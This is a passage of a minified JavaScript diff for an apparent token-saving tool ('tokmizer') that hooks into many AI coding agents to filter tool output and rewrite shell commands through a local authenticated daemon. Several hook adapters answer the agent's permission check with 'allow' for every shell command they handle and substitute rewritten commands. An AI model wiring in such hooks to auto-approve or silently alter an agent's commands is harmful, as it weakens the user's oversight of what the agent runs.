+ `):null:""}var bN=64*1024;function wN(e,t){try{if(!t||typeof t!="object")return;let n=Zb(b(),"drift.jsonl");try{if(nN(n).size>bN)return}catch{}let r=Object.keys(t).slice(0,12);tN(n,`${JSON.stringify({t:Math.floor(Date.now()/1e3),tool:e,keys:r})}
198
+ `)}catch{}}function _N(e){let t=e.tool_name??"tool",n=e.tool_input??{};return n.command?n.command.split(`
199
+ `)[0].trim().slice(0,200):n.file_path?`${t.toLowerCase()} ${n.file_path}`:n.pattern?`${t.toLowerCase()} ${n.pattern}`:n.path?`${t.toLowerCase()} ${n.path}`:t.toLowerCase()}var SN=/'(?:[A-Za-z]:)?\/[^']*\/(?:tkr-exec(?:\.exe|\.js)?'|tkr(?:\.exe)?' exec)(?:\\'')?(?:\s|$)/,xN=/;|\|\||\n|(?<![>&|])&(?![&>])/,EN=new Set(["cd","export","set","unset","true",":"]),vN=/^(?:\S*\/)?(?:sh|bash|zsh|dash|ksh)\s+-[elux]*c[elux]*\s+'([^']*)'$/,TN=/(?:^|[\s;&|(])(?:[A-Za-z]:)?\/\S*\/tkr-exec(?:\.exe|\.js)?\s|(?:^|[;&|(\n])\s*(?:\S*\/)?tkr-exec(?:\.exe|\.js)?\s/;function qb(e){return SN.test(e)||TN.test(e)}function Yb(e,t,n=0){let r=vr(e);for(let o=0;o<r.length;o++){let s=r[o];if(s.kind==="sep")continue;let i=s.text.trim();if(!i||i===t)continue;let a=r[o+1];if(a?.kind==="sep"&&(a.text==="|"||a.text==="|&")||EN.has(i.split(/\s+/)[0]))continue;let l=n<3?vN.exec(i):null;if(!(l&&Yb(l[1],t,n+1)))return!1}return!0}function RN(e){let t=[],n="",r=!1;for(let o=0;o<e.length;o++){let s=e[o];if(s==="'"){let i=e.indexOf("'",o+1);if(i===-1)return null;n+=e.slice(o+1,i),r=!0,o=i}else if(s==='"'){let i=o+1;for(;i<e.length&&e[i]!=='"';i++)e[i]==="\\"&&/["\\$`]/.test(e[i+1]??"")&&i++,n+=e[i];if(i>=e.length)return null;r=!0,o=i}else if(s==="\\"){if(o+1>=e.length)return null;n+=e[++o],r=!0}else/\s/.test(s)?(r&&t.push(n),n="",r=!1):(n+=s,r=!0)}return r&&t.push(n),t.length>0?t:null}function Jb(e){let t="";for(let n=0;n<e.length;n++){let r=e[n];if(t==="'"){r==="'"&&(t="");continue}if(r==="\\"){n++;continue}if(r==="$"||r==="`")return!0;r==='"'?t=t?"":'"':r==="'"&&!t&&(t="'")}return!1}async function AN(e){if(!e||typeof e!="object"||e.persistedOutputPath==null)return;let{stdout:t,persistedOutputPath:n,persistedOutputSize:r}=e;if(typeof t!="string"||typeof n!="string"||typeof r!="number"||!Number.isFinite(r))return null;if(!(Buffer.byteLength(t,"utf8")>=r||t.length>=r)){if(!t||e.stderr!=null&&e.stderr!==""||e.interrupted===!0||e.isImage===!0||!aN(n)||sN(iN(n))!=="tool-results")return null;try{let o=await rN(n);if(!o.isFile()||o.size>ea)return null;let s=await oN(n,Bb.O_RDONLY|(Bb.O_NOFOLLOW??0));try{let i=await s.stat();if(!i.isFile()||i.size>ea||i.size!==o.size)return null;let a=Buffer.alloc(i.size),{bytesRead:l}=await s.read(a,0,i.size,0);if(l!==i.size)return null;let c=a.toString("utf8");return a.length!==r&&c.length!==r?null:c.startsWith(t)?c:null}finally{await s.close()}}catch{return null}}}function $N(e,t){if(!t||typeof t!="object"||typeof t.stdout!="string"||t.stderr!=null&&typeof t.stderr!="string"||t.interrupted===!0||t.isImage===!0||t.backgroundTaskId!=null||xN.test(e)||Jb(e))return null;let n=[];if(ku(e,"tkr-exec",()=>!0,o=>n.push(o)),n.length!==1||Jb(n[0])||!Yb(e,n[0])||vr(e).some(o=>o.kind==="sep"&&o.text!=="&&"&&o.text!=="|"&&o.text!=="|&"))return null;let r=RN(n[0]);return r?{argv:r,stdout:t.stdout,stderr:t.stderr??"",exitCode:t.returnCodeInterpretation!=null?1:null}:null}async function CN(e,t,n,r,o){let{processCapturedOutput:s}=await Promise.resolve().then(()=>(Wi(),fu)),i=null,a=h=>{i=h},l={...process.env};t.session_id?l.CLAUDE_CODE_SESSION_ID=t.session_id:delete l.CLAUDE_CODE_SESSION_ID;let c=await s({argv:e.argv,stdout:e.stdout,stderr:e.stderr,exitCode:e.exitCode,truncated:!1,stderrTruncated:!1},{yolo:n,env:l,...r.resolver?{resolver:r.resolver}:{},deferAccounting:a,cwd:t.cwd||(r.inferCwd===!1?void 0:process.cwd())}),u=i,f=[e.stdout,e.stderr].filter(Boolean).join(`
200
+ `),d=Buffer.byteLength(f,"utf8");if(o==null&&c.filterId!=null&&t.session_id&&d>=Kb){let h=_u(t.session_id,t.agent_id??"main",f,(t.tool_input?.command??"").split(`
201
+ `)[0]??"");if(h){let p=Su(h.cmd,d);if(n)return p;let{captureOriginalForRestore:w}=await Promise.resolve().then(()=>(Eu(),xu));return w(f,p)}}let m=[c.stdout,c.stderr].filter(Boolean).join(`
202
+ `),g=c.stdout===e.stdout&&c.stderr===e.stderr;return o!=null&&(g||m.length>o)||(u&&(r.deferAccounting?r.deferAccounting(u):await u()),g||d>0&&Buffer.byteLength(m,"utf8")>=d)?null:(Vb(d,Buffer.byteLength(m,"utf8")),m)}function ON(e){if(e==null||typeof e!="object"||Array.isArray(e))return!1;let t=e;if(t.session_id!=null&&typeof t.session_id!="string"||t.tool_name!=null&&typeof t.tool_name!="string")return!1;let n=t.tool_input;if(n==null)return!0;if(typeof n!="object"||Array.isArray(n))return!1;let r=n;return["command","file_path","pattern","path"].every(o=>r[o]==null||typeof r[o]=="string")}async function IN(e,t={}){if(!ON(e))return null;let n=e.tool_name==="Bash"&&!qb(e.tool_input?.command??"")?await AN(e.tool_response):void 0;return n===null?null:n===void 0?Gb(e,t):Gb({...e,tool_response:{...e.tool_response,stdout:n}},t,uN)}async function Gb(e,t,n){let r=$e();if(!e.tool_name||!lN.has(e.tool_name)||typeof e.tool_response=="object"&&e.tool_response?.isImage===!0)return null;let o=e.tool_name==="Bash"?e.tool_input?.command??"":"",s=qb(o);if(/\btkr(?:\.js)?\s+restore\b/.test(o))return null;let i=await q();if(!mg())return null;i||await Promise.resolve().then(()=>(Wi(),fu)).then(N=>N.kickBackgroundEnroll(),()=>{});let a=e.tool_name==="Bash"&&!s?$N(o,e.tool_response):null;if(a)return Buffer.byteLength(a.stdout,"utf8")+Buffer.byteLength(a.stderr,"utf8")>ea?null:CN(a,e,r,t,n);if(e.session_id&&!s&&i?.token){let N=e.tool_input??{},Be=N.command??N.file_path??N.pattern??N.path??"";Be&&zi(e.session_id,{tool:e.tool_name,target:Be.split(`
203
+ `)[0].trim()})}if(e.tool_name==="Read"&&(e.tool_input?.offset!=null||e.tool_input?.limit!=null))return null;let l=Ub(e.tool_response);if(l==null)return wN(e.tool_name,e.tool_response),null;if(!l)return null;let c=Buffer.byteLength(l,"utf8");if(c>ea||e.tool_name==="Bash"&&c<Kb||e.tool_name==="Glob"&&l.split(`
204
+ `).length<cN||s)return null;let{loadSettingsCache:u,processOutput:f,captureForRestore:d,captureOriginalForRestore:m,neutralizeMarkers:g,FOLD_MARKER_RE:h,resolveAllowedFilters:p,graceExceeded:w,recordEvent:S,recordTelemetry:x,recordStat:T,countedSaving:A,statCmdLabel:M,statOutcome:I,installDaemonResolver:H,closeDaemonResolver:Y}=await Promise.resolve().then(()=>(Eu(),xu)),ge=await u();if(!ge.enabled)return null;let{slugKey:te}=await Promise.resolve().then(()=>(ft(),ff)),P=!!i?.token;!t.resolver&&P&&H();let G=i?.token?p(i.allowedFilters,w(i)):null,B=new Set(ge.filters.disabled.map(te)),V=G&&B.size>0?new Set([...G].filter(N=>!B.has(N))):G,J=_N(e),Q=`${e.tool_name.toLowerCase()}-tool`,Ie=`${Q}: ${J}`;try{let N=await f(Ie,l,V,{verbosity:ge.outputVerbosity,resolver:t.resolver,yolo:r,exitCode:e.tool_name==="Bash"?void 0:0});if(N.filterId!=null&&e.tool_name==="Bash"&&e.session_id){let Mu=_u(e.session_id,e.agent_id??"main",l,o.split(`
205
+ `)[0]??"");if(Mu){let Du=Su(Mu.cmd,c);return r?Du:await m(l,Du)}}let Be=new RegExp(h.source,"m"),Nr=e.tool_name==="Bash"?M(e.tool_input?.command??""):e.tool_name,Iu=e.tool_name==="Read"&&!r&&(Be.test(N.output)||pN.test(N.output))?`${N.output}${N.output.endsWith(`
200
206
  `)?"":`
201
- `}${Dn}`:M.output,le;if(M.filteredBytes>=M.rawBytes?le=null:r?le=g(M.output,l):e.tool_name==="Glob"||Dt.test(M.output)?le=await p(l,$u,void 0,{label:oa}):le=await d(M.droppedTail??null,$u,void 0,{raw:l,label:oa}),r&&le!=null&&(le=vb($b(e.tool_response,le,e.tool_name))),le!=null&&Buffer.byteLength(le,"utf8")>=M.rawBytes&&(le=null),n!=null&&(le==null||le.length>n))return null;let Jb=le==null?M.rawBytes:Buffer.byteLength(le,"utf8"),sa=qs().host,Ft=A(M.rawBytes,Jb,Vs(sa));le!=null&&Cb(Ft.raw,Ft.filtered);let Gb=e.cwd||(t.inferCwd===!1?void 0:process.cwd()),Zb=e.tool_name==="Bash"?"sh":void 0,ia=t.deferAccounting,Cu=!1,Ou=async()=>{Cu||(Cu=!0,await E({cmd:Se,filterId:M.filterId,rawBytes:M.rawBytes,filteredBytes:M.filteredBytes,plan:G}),I(Ft.raw,Ft.filtered,void 0,!1,sa,Zb,oa,Gb,D(M)),await R({cmd:Se,tokensSaved:Math.round((Ft.raw-Ft.filtered)/4),rawTokens:Math.round(Ft.raw/4),optimized:M.filterId!=null,telemetryOptIn:Q.telemetryOptIn&&(!ia||(await u()).telemetryOptIn),host:sa}))};return ia?ia(Ou):await Ou(),le}finally{t.resolver||me()}}async function Ib(e,t={}){if(qd(e,"claude-code")!=="claude-code")return"";let n=await UI(e,t);return n?RI(e,n,$I()??void 0):""}Ee();Ds();Ee();var xu=JSON.stringify({permission:"allow"});function Nb(e,t=Ve("cursor"),n=Re){if(e.tool_name!=="Shell")return xu;let r=e.tool_input??{},o=r.command;if(typeof o!="string"||!o)return xu;let s=typeof r.working_directory=="string"?r.working_directory:void 0,i=Nt(o,{host:"cursor",sessionId:e.conversation_id??"unknown",cwd:s},ye()?null:t,n);return i?JSON.stringify({permission:"allow",updated_input:{...r,command:i}}):xu}Ee();var Qi="{}";function Mb(e,t=Ve("gemini-cli"),n=Re){if(e.hook_event_name!=="BeforeTool"||e.tool_name!=="run_shell_command")return Qi;let r=e.tool_input??{};if(r.is_background)return Qi;let o=r.command;if(typeof o!="string"||!o)return Qi;let s=typeof e.cwd=="string"?e.cwd:void 0,i=Nt(o,{host:"gemini-cli",sessionId:e.session_id??"unknown",cwd:s},ye()?null:t,n);return i?JSON.stringify({hookSpecificOutput:{tool_input:{command:i}}}):Qi}de();Ee();function Ar(e,t,n="unknown",r=Ve(t),o=Re){return e?Nt(e,{host:t,sessionId:n},ye()?null:r,o):null}var JI=new Set(["bash","file_system.bash"]),Eu=JSON.stringify({decision:"allow"});function Db(e,t=(n,r)=>Ar(n,"vibe",r)){if(!L(e)||e.hook_event_name!=="pre_tool"||typeof e.tool_name!="string"||!JI.has(e.tool_name))return"";let n=e.tool_input;if(!L(n)||typeof n.command!="string"||!n.command)return"";let r=t(n.command,typeof e.session_id=="string"?e.session_id:"unknown");return r?JSON.stringify({hook_specific_output:{tool_input:{...n,command:r}}}):""}function Fb(e,t=(n,r)=>Ar(n,"antigravity",r)){if(!L(e)||!L(e.toolCall)||e.toolCall.name!=="run_command")return Eu;let n=e.toolCall.args;if(!L(n)||typeof n.CommandLine!="string"||!n.CommandLine)return Eu;let r=t(n.CommandLine,typeof e.conversationId=="string"?e.conversationId:"unknown");return r?JSON.stringify({decision:"allow",overwrite:{CommandLine:r}}):Eu}Ee();var wt="{}",GI=new Set(["runTerminalCommand","run_in_terminal","Bash","bash"]),ZI=["run_in_background","is_background","isBackground"];function ea(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function KI(e){let t=e.session_id??e.sessionId;return typeof t=="string"&&t?t:"unknown"}function WI(e,t){let n=e.cwd??t.cwd??t.workdir??t.working_directory;return typeof n=="string"&&n?n:void 0}function ta(e,t,n,r,o){if(!ea(t)||ZI.some(i=>t[i]===!0))return null;let s=t.command;return typeof s!="string"||!s?null:Nt(s,{host:e,sessionId:KI(n),cwd:WI(n,t)},ye()?null:r,o)}function Cr(e,t){return JSON.stringify({hookSpecificOutput:{hookEventName:"PreToolUse",updatedInput:{...e,command:t}}})}function VI(e){if(ea(e))return e;if(typeof e!="string")return null;try{let t=JSON.parse(e);return ea(t)?t:null}catch{return null}}function qI(e,t,n){if(typeof e.tool_name=="string"){if(!GI.has(e.tool_name))return wt;let s=e.tool_input,i=ta("copilot",s,e,t,n);return i?Cr(s,i):wt}if(e.toolName!=="bash")return wt;let r=VI(e.toolArgs),o=ta("copilot",r,e,t,n);return o?JSON.stringify({modifiedArgs:{...r,command:o}}):wt}function $r(e,t,n){return(r,o,s)=>{if(r.tool_name!==t)return wt;let i=r.tool_input,a=ta(e,i,r,o,s);return a?n(i,a):wt}}var YI=new Set(["run_terminal_command","Bash","bash"]);function XI(e,t,n){let r=e.toolName??e.tool_name;if(typeof r!="string"||!YI.has(r))return wt;let o=e.toolInput??e.tool_input,s=ta("grok",o,e,t,n);return s?Cr(o,s):wt}var QI={copilot:qI,droid:$r("droid","Execute",Cr),trae:$r("trae","RunCommand",Cr),"qwen-code":$r("qwen-code","run_shell_command",Cr),crush:$r("crush","bash",(e,t)=>JSON.stringify({updated_input:{command:t}})),junie:$r("junie","Bash",(e,t)=>JSON.stringify({updatedInput:{...e,command:t}})),zcode:$r("zcode","Bash",Cr),grok:XI};function Lb(e,t,n=Ve(e),r=Re){return ea(t)?QI[e](t,n,r):wt}function Or(e){return ye()?null:Ve(e)}function eN(e,t,n={}){let r=n.recordUsage??Re;switch(e){case"claude-code":case"codex":return t.hook_event_name!==void 0&&t.hook_event_name!=="PreToolUse"?"":db(t,e,Or(e),r,n.claudeDirs??qi(),n.pathEnv??process.env.PATH,n.launchArgs??qo)??"";case"cursor":return Nb(t,Or(e),r);case"gemini-cli":return Mb(t,Or(e),r);case"vibe":return Db(t,(o,s)=>Ar(o,"vibe",s,Or(e),r));case"antigravity":return Fb(t,(o,s)=>Ar(o,"antigravity",s,Or(e),r));default:return Lb(e,t,Or(e),r)}}function Rr(e,t,n={}){let r=Va(e,t);return r?eN(r,e,n):n.fallback??""}So();var na=class{constructor(t,n,r=()=>{}){this.limit=t;this.receive=n;this.reserve=r}limit;receive;reserve;header=Buffer.alloc(4);headerBytes=0;body=null;bodyBytes=0;closed=!1;push(t){if(this.closed)throw new Error("reader closed");let n=0;try{for(;n<t.length&&!this.closed;){if(!this.body){let o=Math.min(4-this.headerBytes,t.length-n);if(t.copy(this.header,this.headerBytes,n,n+o),this.headerBytes+=o,n+=o,this.headerBytes!==4)continue;let s=this.header.readUInt32BE(0);if(s>this.limit())throw new Error("frame limit exceeded");this.reserve(s),this.body=Buffer.allocUnsafe(s),this.bodyBytes=0}let r=Math.min(this.body.length-this.bodyBytes,t.length-n);if(t.copy(this.body,this.bodyBytes,n,n+r),this.bodyBytes+=r,n+=r,this.bodyBytes===this.body.length){let o=this.body;this.body=null,this.headerBytes=0,this.bodyBytes=0,this.receive(o)}}}catch(r){throw this.close(),r}}close(){this.closed=!0,this.body=null,this.headerBytes=0,this.bodyBytes=0}};function Pr(e){let t=Buffer.allocUnsafe(4);return t.writeUInt32BE(e.length),Buffer.concat([t,e])}function Hb(e){if(e.length<16)throw new Error("incomplete captured header");let t=e.readUInt32BE(0),n=e.readUInt32BE(4),r=e.readUInt32BE(8),o=e.readUInt32BE(12);if(t>255||n>3||r>10485760||o>10485760||e.length!==16+r+o)throw new Error("invalid captured output");return{stdout:e.subarray(16,16+r).toString("utf8"),stderr:e.subarray(16+r).toString("utf8"),exitCode:t,truncated:(n&1)!==0,stderrTruncated:(n&2)!==0}}Ee();var iN={"claude-code":"CLAUDECODE",codex:"CODEX_CLI",cursor:"CURSOR_VERSION",cline:"CLINE_VERSION",aider:"AIDER_VERSION","gemini-cli":"GEMINI_CLI_VERSION",windsurf:"WINDSURF_VERSION",copilot:"GITHUB_COPILOT_VERSION","qwen-code":"QWEN_CODE",crush:"CRUSH",droid:"",trae:"",junie:"",zcode:"",grok:"",kilo:"",shell:""},aN=k.object({protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),argv:k.array(k.string().max(32768).refine(e=>!e.includes("\0"))).min(1).max(4096),host:k.enum(El),sessionId:k.string().max(256).optional(),restoreDisabled:k.boolean(),restoreMaxBytes:k.number().int().positive().max(10485760).optional(),timeoutMs:k.number().int().positive().max(864e5)}).strict(),lN=k.object({kind:k.literal("pre-tool-use"),protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),host:k.enum(["claude-code","codex"]),payload:k.record(k.string(),k.unknown()),claudeProjectDir:k.string().min(1).max(4096).optional(),claudeConfigDir:k.string().min(1).max(4096).optional(),path:k.string().min(1).max(32768).optional(),claudePid:k.string().regex(/^[1-9]\d{0,9}$/).optional()}).strict(),cN=k.object({kind:k.literal("post-tool-use"),protocol:k.literal(2),version:k.string().min(1).max(64),token:k.string().regex(/^[0-9a-f]{64}$/),home:k.string().min(1).max(4096),host:k.enum(["claude-code"])}).strict();function Ir(e){if(!e)return!1;let t=Date.now()-e.signedAt;return t>=0&&t<=hs()}async function Bb(e){if(!/^[0-9a-f]{64}$/.test(e.token))throw new Error("invalid processing authentication");let t=process.platform==="win32";if(t){if(!/^\\\\\.\\pipe\\tokmizer-[A-Za-z0-9._-]+$/.test(e.path))throw new Error("unsafe processing pipe")}else{let f=nN(oN(e.path));if(!f.isDirectory()||f.uid!==process.getuid?.()||(f.mode&63)!==0)throw new Error("unsafe processing directory")}let n=rN(b()),r=Buffer.from(e.token,"hex"),o=new Set,s=new Set,i=0,a=!1,l=e.maxConnections??4,c=e.maxBufferedBytes??48*1024*1024,u=sN(f=>{if(a||o.size>=l){f.destroy();return}o.add(f);let d="prepare",p=null,g=!1,h=0,m=!1,_,S,E=()=>{i-=h,h=0},R=()=>{clearTimeout(S),$.close(),m||E(),d="closed",f.destroy()},I=D=>{clearTimeout(S),S=setTimeout(R,D),S.unref()},A=D=>{f.write(Pr(Buffer.from(JSON.stringify(D))))},$=new na(()=>d==="prepare"?65536:d==="capture"||d==="hook-payload"?20971536:d==="delivery"?1:-1,D=>{if(d==="delivery"){if(D.length!==1||D[0]!==1)throw new Error("invalid delivery receipt");d="accounting",e.onActivity?.(),m=!0;let U=(_?.()??Promise.resolve()).then(()=>{f.destroyed||f.end(Pr(Buffer.from([1])))}).catch(()=>R()).finally(()=>{m=!1,f.destroyed&&(E(),o.delete(f)),s.delete(U)});s.add(U);return}if(d==="hook-payload"){let U=e.getRuntime();if(!Ir(U)){R();return}let W=JSON.parse(D.toString("utf8"));if(!W||typeof W!="object"||Array.isArray(W))throw new Error("invalid hook payload");e.onActivity?.(),d="processing",m=!0,I(e.processingTimeoutMs??5e3);let J=Ib(W,{inferCwd:!1,deferAccounting:X=>{_=X},resolver:async(X,Se)=>{if(!Ir(U))throw new Error("expired processing rules");return U.selectFor(X,"pro",Se?[...Se]:void 0)}}).then(X=>{if(f.destroyed)return;let Se=Buffer.from(JSON.stringify({ok:!0,protocol:2,output:X}));if(Se.length>20971536)throw new Error("hook response limit");E(),d="delivery",I(e.processingTimeoutMs??5e3),f.write(Pr(Se))}).catch(()=>R()).finally(()=>{m=!1,f.destroyed&&(E(),o.delete(f)),s.delete(J)});s.add(J);return}if(d==="prepare"){let U=JSON.parse(D.toString("utf8"));if(U?.kind==="post-tool-use"){let J=cN.parse(U);if(!Ru(r,Buffer.from(J.token,"hex"))||J.version!==e.version||J.home!==n||!Ir(e.getRuntime())){R();return}e.onActivity?.(),E(),d="hook-payload",I(e.prepareTimeoutMs??1e3),A({ok:!0,protocol:2});return}if(U?.kind==="pre-tool-use"){let J=lN.parse(U);if(!Ru(r,Buffer.from(J.token,"hex"))||J.version!==e.version||J.home!==n){R();return}e.onActivity?.();let X,Se=Rr(J.payload,J.host,{recordUsage:(M,Dt)=>{X={sessionId:M,routed:Dt}},claudeDirs:{projectDir:J.claudeProjectDir,configDir:J.claudeConfigDir},pathEnv:J.path??"",launchArgs:()=>J.claudePid?qo({CLAUDE_PID:J.claudePid}):null}),Mt=Buffer.from(JSON.stringify({ok:!0,protocol:2,output:Se}));if(Mt.length>1024*1024)throw new Error("hook response limit");_=async()=>{let M=X;X=void 0,M&&Re(M.sessionId,M.routed)},E(),d="delivery",I(e.processingTimeoutMs??5e3),f.write(Pr(Mt));return}let W=aN.parse(U);if(!Ru(r,Buffer.from(W.token,"hex"))||W.version!==e.version||W.home!==n||!Ir(e.getRuntime())){R();return}p=W,e.onActivity?.(),g=Ce(),E(),d="capture",I(W.timeoutMs+5e3),A({ok:!0,protocol:2,yolo:g});return}if(d!=="capture"||!p)throw new Error("unexpected processing frame");let _e=Hb(D);e.onActivity?.();let me=e.getRuntime();if(!Ir(me)){R();return}d="processing",m=!0,I(e.processingTimeoutMs??5e3);let Q={},O=iN[p.host];O?Q[O]="1":p.host!=="shell"&&(Q.TOKMIZER_HOST=p.host),p.sessionId!==void 0&&(Q.CLAUDE_CODE_SESSION_ID=p.sessionId),Q.TOKMIZER_CCR_DISABLED=p.restoreDisabled?"1":"0",p.restoreMaxBytes!==void 0&&(Q.TOKMIZER_CCR_ENTRY_MAX_BYTES=String(p.restoreMaxBytes));let G=Zi({..._e,argv:p.argv},{env:Q,yolo:g,onMissingState:Gi,deferAccounting:U=>{_=U},resolver:async(U,W)=>{if(!Ir(me))throw new Error("expired processing rules");return me.selectFor(U,"pro",W?[...W]:void 0)}}).then(U=>{if(f.destroyed)return;let W=Buffer.from(U.stdout),J=Buffer.from(U.stderr);if(W.length>10551296||J.length>10551296)throw new Error("processing response limit");let X=Buffer.allocUnsafe(8);X.writeUInt32BE(W.length,0),X.writeUInt32BE(J.length,4),d="delivery",I(e.processingTimeoutMs??5e3),f.write(Pr(Buffer.concat([X,W,J])))}).catch(()=>R()).finally(()=>{m=!1,f.destroyed&&(E(),o.delete(f)),s.delete(G)});s.add(G)},D=>{if(i+D>c)throw new Error("processing capacity exceeded");i+=D,h+=D});I(e.prepareTimeoutMs??1e3),f.on("data",D=>{try{$.push(D)}catch{R()}}),f.on("error",R),f.on("close",()=>{m||o.delete(f),R()})});try{await new Promise((f,d)=>{u.once("error",d),u.listen(e.path,()=>{u.off("error",d),f()})}),t||tN(e.path,384)}catch(f){throw u.close(),f}return{activeConnections:()=>o.size,close:async()=>{a=!0;for(let f of o)f.destroy();await new Promise(f=>u.close(()=>f())),await Promise.allSettled(s)}}}function kN(e,t,n){return`\\\\.\\pipe\\tokmizer-p-${e.replace(/[^A-Za-z0-9._-]/g,"_").slice(0,64)||"user"}-${t.replace(/[^A-Za-z0-9._-]/g,"_")}-${n}`}async function Ub(e,t,n="processing.json"){let r=process.platform==="win32",o=pN(b()),s=ra(o,"run");dN(s,{recursive:!0,mode:448});let i=fN(s);if(!i.isDirectory()||!r&&(i.uid!==process.getuid?.()||(i.mode&63)!==0))throw new Error("unsafe processing descriptor directory");let a=zb().slice(0,8),l=r?kN(process.env.USERNAME??"user",he,a):ra(yN(ct().path),`p${a}`);if(!r&&Buffer.byteLength(l)>100)throw new Error("processing socket path too long");let c=uN(32).toString("hex"),u=await Bb({path:l,token:c,version:he,getRuntime:e,...t?{onActivity:t}:{}}),f=ra(s,`${n}.${zb()}.tmp`);try{return hN(f,JSON.stringify({protocol:2,version:he,home:o,path:l,token:c}),{mode:384,flag:"wx"}),mN(f,ra(s,n)),u}catch(d){throw await u.close(),d}finally{gN(f,{force:!0})}}br();Ue();var Xo=an(),bN=360*60*1e3,wN=6e4;function _N(){let e=qh(Xo),t=()=>{e().catch(()=>{})};setTimeout(t,5e3).unref?.(),setInterval(t,wN).unref?.()}function SN(){let e=()=>{pr(Xo).catch(()=>{})};setTimeout(e,6e4+Math.floor(Math.random()*6e4)).unref?.(),setInterval(e,bN).unref?.()}function xN(){if(process.env.TOKMIZER_ALLOW_INSPECT==="1")return;let t=(process.execArgv??[]).find(n=>n.startsWith("--inspect")||n==="--inspect-brk"||n.startsWith("--inspect-port"));t&&(process.stderr.write("tkr-daemon: refusing to start with "+t+` (set TOKMIZER_ALLOW_INSPECT=1 to override for development).
207
+ `}${Fn}`:N.output,ce;if(N.filteredBytes>=N.rawBytes?ce=null:r?ce=g(N.output,l):e.tool_name==="Glob"||Be.test(N.output)?ce=await m(l,Iu,void 0,{label:Nr}):ce=await d(N.droppedTail??null,Iu,void 0,{raw:l,label:Nr}),r&&ce!=null&&(ce=Ub(Wb(e.tool_response,ce,e.tool_name))),ce!=null&&Buffer.byteLength(ce,"utf8")>=N.rawBytes&&(ce=null),n!=null&&(ce==null||ce.length>n))return null;let cw=ce==null?N.rawBytes:Buffer.byteLength(ce,"utf8"),ia=ti().host,Lt=A(N.rawBytes,cw,ei(ia));ce!=null&&Vb(Lt.raw,Lt.filtered);let uw=e.cwd||(t.inferCwd===!1?void 0:process.cwd()),fw=e.tool_name==="Bash"?"sh":void 0,aa=t.deferAccounting,Pu=!1,Nu=async()=>{Pu||(Pu=!0,P&&await S({cmd:Q,filterId:N.filterId,rawBytes:N.rawBytes,filteredBytes:N.filteredBytes}),T(Lt.raw,Lt.filtered,void 0,!1,ia,fw,Nr,uw,I(N)),await x({cmd:Q,tokensSaved:Math.round((Lt.raw-Lt.filtered)/4),rawTokens:Math.round(Lt.raw/4),optimized:N.filterId!=null,telemetryOptIn:ge.telemetryOptIn&&(!aa||(await u()).telemetryOptIn),host:ia}))};return aa?aa(Nu):await Nu(),ce}finally{t.resolver||Y()}}async function Xb(e,t={}){if(mm(e,"claude-code")!=="claude-code")return"";let n=await IN(e,t);return n?hN(e,n,kN()??void 0):""}ve();js();ve();var Tu=JSON.stringify({permission:"allow"});function Qb(e,t=Ye("cursor"),n=Re){if(e.tool_name!=="Shell")return Tu;let r=e.tool_input??{},o=r.command;if(typeof o!="string"||!o)return Tu;let s=typeof r.working_directory=="string"?r.working_directory:void 0,i=Ft(o,{host:"cursor",sessionId:e.conversation_id??"unknown",cwd:s},ke()?null:t,n);return i?JSON.stringify({permission:"allow",updated_input:{...r,command:i}}):Tu}ve();var ta="{}";function ew(e,t=Ye("gemini-cli"),n=Re){if(e.hook_event_name!=="BeforeTool"||e.tool_name!=="run_shell_command")return ta;let r=e.tool_input??{};if(r.is_background)return ta;let o=r.command;if(typeof o!="string"||!o)return ta;let s=typeof e.cwd=="string"?e.cwd:void 0,i=Ft(o,{host:"gemini-cli",sessionId:e.session_id??"unknown",cwd:s},ke()?null:t,n);return i?JSON.stringify({hookSpecificOutput:{tool_input:{command:i}}}):ta}me();ve();function Ar(e,t,n="unknown",r=Ye(t),o=Re){return e?Ft(e,{host:t,sessionId:n},ke()?null:r,o):null}var PN=new Set(["bash","file_system.bash"]),Au=JSON.stringify({decision:"allow"});function tw(e,t=(n,r)=>Ar(n,"vibe",r)){if(!F(e)||e.hook_event_name!=="pre_tool"||typeof e.tool_name!="string"||!PN.has(e.tool_name))return"";let n=e.tool_input;if(!F(n)||typeof n.command!="string"||!n.command)return"";let r=t(n.command,typeof e.session_id=="string"?e.session_id:"unknown");return r?JSON.stringify({hook_specific_output:{tool_input:{...n,command:r}}}):""}function nw(e,t=(n,r)=>Ar(n,"antigravity",r)){if(!F(e)||!F(e.toolCall)||e.toolCall.name!=="run_command")return Au;let n=e.toolCall.args;if(!F(n)||typeof n.CommandLine!="string"||!n.CommandLine)return Au;let r=t(n.CommandLine,typeof e.conversationId=="string"?e.conversationId:"unknown");return r?JSON.stringify({decision:"allow",overwrite:{CommandLine:r}}):Au}ve();var _t="{}",NN=new Set(["runTerminalCommand","run_in_terminal","Bash","bash"]),MN=["run_in_background","is_background","isBackground"];function na(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function DN(e){let t=e.session_id??e.sessionId;return typeof t=="string"&&t?t:"unknown"}function FN(e,t){let n=e.cwd??t.cwd??t.workdir??t.working_directory;return typeof n=="string"&&n?n:void 0}function ra(e,t,n,r,o){if(!na(t)||MN.some(i=>t[i]===!0))return null;let s=t.command;return typeof s!="string"||!s?null:Ft(s,{host:e,sessionId:DN(n),cwd:FN(n,t)},ke()?null:r,o)}function Cr(e,t){return JSON.stringify({hookSpecificOutput:{hookEventName:"PreToolUse",updatedInput:{...e,command:t}}})}function LN(e){if(na(e))return e;if(typeof e!="string")return null;try{let t=JSON.parse(e);return na(t)?t:null}catch{return null}}function HN(e,t,n){if(typeof e.tool_name=="string"){if(!NN.has(e.tool_name))return _t;let s=e.tool_input,i=ra("copilot",s,e,t,n);return i?Cr(s,i):_t}if(e.toolName!=="bash")return _t;let r=LN(e.toolArgs),o=ra("copilot",r,e,t,n);return o?JSON.stringify({modifiedArgs:{...r,command:o}}):_t}function $r(e,t,n){return(r,o,s)=>{if(r.tool_name!==t)return _t;let i=r.tool_input,a=ra(e,i,r,o,s);return a?n(i,a):_t}}var jN=new Set(["run_terminal_command","Bash","bash"]);function BN(e,t,n){let r=e.toolName??e.tool_name;if(typeof r!="string"||!jN.has(r))return _t;let o=e.toolInput??e.tool_input,s=ra("grok",o,e,t,n);return s?Cr(o,s):_t}var 